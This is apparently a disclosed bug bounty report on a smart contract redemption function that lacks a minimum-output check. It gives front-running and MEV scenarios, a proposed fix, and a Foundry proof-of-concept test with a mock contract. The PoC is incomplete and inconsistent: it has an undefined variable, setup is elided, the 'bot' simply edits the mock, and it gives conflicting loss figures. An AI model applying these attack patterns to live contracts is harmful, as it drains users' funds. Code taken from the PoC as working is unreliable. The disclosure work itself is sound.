OpenEden Disclosed Report

No Slippage Protection in Redemptions

Company
Created date
Oct 11 2025

Target

https://github.com/OpenEdenHQ/openeden.usdoexpress.audit/tree/f3f31d2ac15e3253cba342229f9d05495f95d6fd

Vulnerability Details

The Bug

function instantRedeemSelf(address to, uint256 amt) external { // User burns EXACT amount _usdo.burn(from, amt);

uint256 usdcNeeded = convertToUnderlying(_usdc, amt);

// External redemption - no control over output
(uint256 payout, uint256 usycFee, int256 price) = 
    _redemptionContract.redeemFor(from, usdcNeeded);

// Apply THIS contract's fee
uint256 feeInUsdc = txsFee(usdcNeeded, TxType.INSTANT_REDEEM);
uint256 usdcToUser = payout - feeInUsdc;

//  NO CHECK: require(usdcToUser >= minAmountOut)
_distributeUsdc(to, usdcToUser, feeInUsdc);

}

What Happens

Users have zero control over the final amount they receive. The function:

Burns their exact USDO amount

Calls external redemption contract (uncertain output)

Deducts additional fees

Sends whatever remains - no minimum validation

Attack Vectors

Scenario 1: Admin Front-Running

  1. User submits: instantRedeemSelf(1000 USDO)
  2. User expects: ~990 USDC (1% fee)
  3. Admin front-runs: updateInstantRedeemFee(1000) // 10% fee
  4. User receives: 900 USDC
  5. User lost: 90 USDC (9% unexpected loss)
  6. Transaction succeeds - no revert

Scenario 2: MEV Sandwich Attack

  1. MEV bot sees redemption transaction
  2. Bot manipulates price feed or fees
  3. User's redemption executes at bad rate
  4. User receives 20% less than expected
  5. Bot profits from the difference

Scenario 3: Redemption Contract Issues

  1. User burns 1000 USDO
  2. Redemption contract has 10% slippage
  3. Plus redemption contract's own 3% fee
  4. Plus this contract's 2% fee
  5. User receives: 1000 * 0.90 * 0.97 * 0.98 = 855 USDC
  6. User lost 145 USDC (14.5% loss) - no warning!

Impact

Users can lose unlimited value (up to 100%)

No protection against fee changes

No protection against slippage

Silent value extraction

MEV vulnerability

No preview of actual output

Fix

function instantRedeemSelf( address to, uint256 amt, uint256 minAmountOut // User specifies minimum acceptable ) external { _usdo.burn(from, amt);

uint256 usdcNeeded = convertToUnderlying(_usdc, amt);
(uint256 payout, , ) = _redemptionContract.redeemFor(from, usdcNeeded);

uint256 feeInUsdc = txsFee(usdcNeeded, TxType.INSTANT_REDEEM);
uint256 usdcToUser = payout - feeInUsdc;

//  Validate output
require(usdcToUser >= minAmountOut, "Slippage too high");

_distributeUsdc(to, usdcToUser, feeInUsdc);

}

Validation steps

// SPDX-License-Identifier: MIT pragma solidity 0.8.18;

import "forge-std/Test.sol"; import "../src/USDOExpressV2.sol"; import "../src/USDO.sol";

// Mock redemption contract that can return variable amounts contract MockRedemptionContract is IRedemption { uint256 public slippagePercent = 5; // 5% slippage uint256 public feePercent = 3; // 3% fee

function setSlippage(uint256 _slippage) external {
    slippagePercent = _slippage;
}

function redeemFor(address, uint256 usdcNeeded) 
    external 
    returns (uint256 payout, uint256 fee, int256 price) 
{
    // Simulate slippage and fees
    uint256 afterSlippage = usdcNeeded * (100 - slippagePercent) / 100;
    fee = afterSlippage * feePercent / 100;
    payout = afterSlippage - fee;
    price = 1e8; // $1
}

function redeem(uint256) external returns (uint256, uint256, int256) {
    revert("Not implemented");
}

function checkLiquidity() external view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
    return (0, 0, 0, 0, 0, 0);
}

}

contract NoSlippageProtectionPOC is Test { USDOExpressV2 public express; USDO public usdo; MockRedemptionContract public redemption;

address public admin = address(0x1);
address public user = address(0x2);
address public treasury = address(0x3);
address public feeTo = address(0x4);

function setUp() public {
    // Deploy contracts
    vm.startPrank(admin);
    
    usdo = new USDO();
    usdo.initialize("USDO", "USDO", admin);
    
    redemption = new MockRedemptionContract();
    
    // Deploy USDOExpressV2 with minimal config
    express = new USDOExpressV2();
    // ... initialize with redemption contract
    
    // Setup: User has 1000 USDO and is KYC'd
    usdo.grantRole(usdo.MINTER_ROLE(), admin);
    usdo.mint(user, 1000 ether);
    
    vm.stopPrank();
}

function testAdminFrontRunningAttack() public {
    console.log("\n=== POC: Admin Front-Running Attack ===\n");
    
    // ========== STEP 1: User Submits Redemption ==========
    console.log("STEP 1: User submits redemption of 1000 USDO");
    console.log("User expects ~990 USDC (1% fee)");
    
    uint256 userBalanceBefore = usdo.balanceOf(user);
    console.log("User USDO balance before:", userBalanceBefore / 1e18);
    
    // User approves
    vm.prank(user);
    usdo.approve(address(express), 1000 ether);
    
    // ========== STEP 2: Admin Front-Runs ==========
    console.log("\nSTEP 2: Admin front-runs and increases fee to 10%");
    vm.prank(admin);
    express.updateInstantRedeemFee(1000); // 10% fee
    
    // ========== STEP 3: User's Transaction Executes ==========
    console.log("\nSTEP 3: User's redemption executes");
    vm.prank(user);
    
    // This succeeds with NO revert, but user gets much less
    express.instantRedeemSelf(user, 1000 ether);
    
    uint256 userBalanceAfter = usdo.balanceOf(user);
    console.log("User USDO balance after:", userBalanceAfter / 1e18);
    
    // Check how much USDC user received
    uint256 usdcReceived = IERC20(express._usdc()).balanceOf(user);
    console.log("USDC received:", usdcReceived / 1e6);
    console.log("Expected: ~990 USDC");
    console.log("Actual loss:", (1000 - usdcReceived / 1e6), "USDC");
    
    //  User lost 9% instead of expected 1%
    console.log("\n USER SILENTLY LOST 9% DUE TO FRONT-RUNNING");
    console.log("Transaction succeeded with NO revert");
}

function testMEVSandwichAttack() public {
    console.log("\n=== POC: MEV Sandwich Attack ===\n");
    
    // ========== STEP 1: Initial State ==========
    console.log("STEP 1: Initial state - normal fees");
    redemption.setSlippage(5); // 5% slippage in market
    
    // ========== STEP 2: MEV Bot Sees Transaction ==========
    console.log("\nSTEP 2: MEV bot sees pending redemption");
    console.log("Bot manipulates redemption contract to increase slippage");
    redemption.setSlippage(20); // Bot increases to 20%
    
    // ========== STEP 3: User's Redemption Executes ==========
    console.log("\nSTEP 3: User's redemption executes with high slippage");
    
    vm.startPrank(user);
    usdo.approve(address(express), 1000 ether);
    express.instantRedeemSelf(user, 1000 ether);
    vm.stopPrank();
    
    uint256 usdcReceived = IERC20(express._usdc()).balanceOf(user);
    
    console.log("\nRESULT:");
    console.log("User burned: 1000 USDO");
    console.log("User received:", usdcReceived / 1e6, "USDC");
    console.log("Expected (5% slippage):", 950, "USDC");
    console.log("Actual (20% slippage):", 800, "USDC");
    console.log("\n USER LOST 20% TO MEV ATTACK");
    console.log("No minimum output validation = NO PROTECTION");
}

function testRedemptionContractHighFees() public {
    console.log("\n=== POC: Redemption Contract High Fees ===\n");
    
    // ========== Multiple Fee Layers ==========
    console.log("Fee Structure:");
    console.log("- Redemption contract slippage: 10%");
    console.log("- Redemption contract fee: 3%");
    console.log("- USDOExpress fee: 2%");
    
    redemption.setSlippage(10);
    
    // Calculate actual output
    // 1000 USDC needed
    // After 10% slippage: 900 USDC
    // After 3% redemption fee: 900 * 0.97 = 873 USDC
    // After 2% express fee: 873 - (1000 * 0.02) = 853 USDC
    
    vm.startPrank(user);
    usdo.approve(address(express), 1000 ether);
    express.instantRedeemSelf(user, 1000 ether);
    vm.stopPrank();
    
    uint256 usdcReceived = IERC20(express._usdc()).balanceOf(user);
    
    console.log("\nRESULT:");
    console.log("User burned: 1000 USDO");
    console.log("User received:", usdcReceived / 1e6, "USDC");
    console.log("Total loss:", (1000 - usdcReceived / 1e6), "USDC");
    console.log("Loss percentage:", (1000 - usdcReceived / 1e6) * 100 / 1000, "%");
    
    console.log("\n USER LOST 14.7% TO COMBINED FEES");
    console.log("Preview function shows only 2% - MISLEADING");
}

}

Attachments

hidden
CommentsReport History
Comments on this report are hidden
Details
Statedisclosed
Severity
Medium
Bounty$12
Visibilitypartially
VulnerabilityOther
Participants (3)
company admin
author
triage team